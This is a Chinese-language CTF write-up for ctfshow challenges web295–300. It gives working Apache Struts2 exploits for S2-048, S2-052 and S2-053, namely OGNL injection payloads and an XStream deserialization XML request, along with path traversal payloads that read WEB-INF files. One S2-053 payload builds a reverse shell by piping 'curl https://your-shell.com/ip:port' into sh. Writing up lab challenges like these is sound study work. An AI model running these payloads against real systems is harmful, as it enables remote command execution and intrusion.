web295
S2-048
POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
我们可以在Name处输入命令

使用工具没能成功
这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,更可恶的是getText的输入内容还是攻击者可控的。
命令执行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
//(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):(...))
//尝试将 OGNL 上下文的成员访问权限(_memberAccess)重置为默认值。如果 _memberAccess 存在,就直接覆盖它
//(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
//(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
//(#ognlUtil.getExcludedPackageNames().clear()).
//(#ognlUtil.getExcludedClasses().clear()).
//(#context.setMemberAccess(#dm))
//Java 环境中原本被保护的敏感类(如 java.lang.Runtime)就像没锁门的金库,任由攻击者调用
//(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
// exec('id'):在服务器终端执行 id 命令。在 Linux 中,这会返回当前用户的 UID、GID 以及所属组(例如:uid=0(root) gid=0(root) groups=0(root))。
//getInputStream():捕获命令执行后的结果流。
//IOUtils@toString:将二进制流瞬间转化为我们可以读懂的文字,并存入变量 #q。
//这是 OGNL 的一个特性:表达式的最后一个部分的值会被作为整个表达式的结果返回。在这里,执行完所有破坏动作后,它最后抛出 #q(即 id 命令的结果)。攻击者只需看一眼网页的响应内容,就能知道自己是否拿到了 root 权限

如果将id命令换成env可以看到一个报错界面,红色标记出来的就是flag。

web296
S2-052
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表

https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md
使用工具


代码执行
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
启动环境后,即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>


成功执行
web297
S2-053
POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell

使用工具


命令执行
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
执行反弹shell
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl https://your-shell.com/ip:port | sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
或者直接命令执行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
因为被截断了不能直接从环境里面读取flag了
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env | grep -i flag').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
可以只读取flag,成功获取flag
web298

不再是Struts2


jar包和war包都可以看成压缩文件,都可以用解压软件打开,jar包和war包都是为了项目的部署和发布,通常在打包部署的时候,会在里面加上部署的相关信息。这个打包实际上就是把代码和依赖的东西压缩在一起,变成后缀名为.jar和.war的文件,就是我们说的jar包和war包。但是这个"压缩包"可以被编译器直接使用,把war包放在tomcat目录的webapp下,tomcat服务器在启动的时候可以直接使用这个war包。通常tomcat的做法是解压,编译里面的代码,所以当文件很多的时候,tomcat的启动会很慢。
jar包和war包的区别:jar包是java打的包,war包可以理解为javaweb打的包,这样会比较好记。jar包中只是用java来写的项目打包来的,里面只有编译后的class和一些部署文件。而war包里面的东西就全了,包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。
可以使用JD-GUI反编译Jar包

分析代码
package com.ctfshow.model;
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -4069265999830231626L;
//package com.ctfshow.model;: 定义了类所在的包名,反映了其项目结构。
//implements Serializable: 这是一个标记接口。实现它意味着该类可以进行序列化(对象转字节流)和反序列化(字节流转对象)。这是 Java 安全漏洞(如反序列化漏洞)经常出没的地方。
//serialVersionUID: 序列化版本 ID。用于验证序列化对象和对应类是否匹配。如果手动修改了类结构但没改这个 ID,反序列化时可能会抛出异常
private String username;
private String password;
private Boolean isVip;
//定义了三个私有属性:用户名、密码和 VIP 状态。注意 isVip 使用的是包装类 Boolean
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return this.password;
}
public void setPassword(String password) {
this.password = password;
}
public Boolean getIvVip() {
return this.isVip;
}
public void setIvVip(Boolean ivVip) {
this.isVip = ivVip;
}
//这些是标准的访问器方法
//细节注意:代码中出现了笔误------getIvVip 和 setIvVip。按常规应为 getIsVip
//在某些自动调用 Getter/Setter 的框架(如 Fastjson 或 Jackson)中
//这种非标准的命名可能会导致解析异常或找不到属性
public User(String username, String password) {
this.username = username;
this.password = password;
}
//类的构造器,初始化用户名和密码。注意这里并没有初始化 isVip 字段,所以默认情况下 isVip 为 null
public boolean getVipStatus() {
if (this.username.equals("admin") && this.password.equals("ctfshow"))
return true;
return false;
}
//逻辑漏洞点:这个方法手动校验 username 是否为 "admin" 且 password 是否为 "ctfshow"。
//在 CTF 场景中,如果题目要求 isVip 为 true,但你无法通过正常登录获取
//你可能需要通过构造恶意的序列化数据,直接在序列化流中将 isVip 修改为 true
//从而绕过这个 getVipStatus 的硬编码检查
public String toString() {
return "User [username=" + this.username + ", password=" + this.password +
", isVip=" + this.isVip + "]";
}
}
//重写了 toString 方法,方便打印对象内容。
//在调试或某些触发 toString 的利用链(如 BadAttributeValueExpException)中会用到
可以发现这里有个getVipStatus函数,只要传的参数符合条件,即可得到flag

分析Jar包中的web.xml文件可得,该servlet位于/ctfshow/login
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description>This is the description of my J2EE component</description>
<display-name>This is the display name of my J2EE component</display-name>
<servlet-name>login</servlet-name>
<servlet-class>com.ctfshow.servlet.loginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
</web-app>
构造payload
payload:
/ctfshow/login?username=admin&password=ctfshow

web299

查看源代码,发现一行注释

根据提示访问/view-source?file=index.jsp,为什么访问jsp文件,因为javaweb中页面基本上都是jsp开发的

可以看到有回显,我们开始读取web.xml文件
/view-source?file=/WEB-INF/web.xml

可以看到有个com.ctfshow.servlet.GetFlag,尝试读取
/view-source?file=/WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

发现有乱码,查看源代码

构造payload
会发现有/fl3g这个文件存在,/view-source?file=.../.../.../.../.../.../fl3g


一直文件包含然后成功获取flag
web300
ctfshow web入门Java最后的一题

这道题跟上道题差不多,别被php迷惑了。

没有有用信息


/view-source?file=/WEB-INF/classes/com/ctfshow/servlet/GetFlag.class,虽然xml没有显示。

构造payload
Payload
?file=../../../../../f1bg
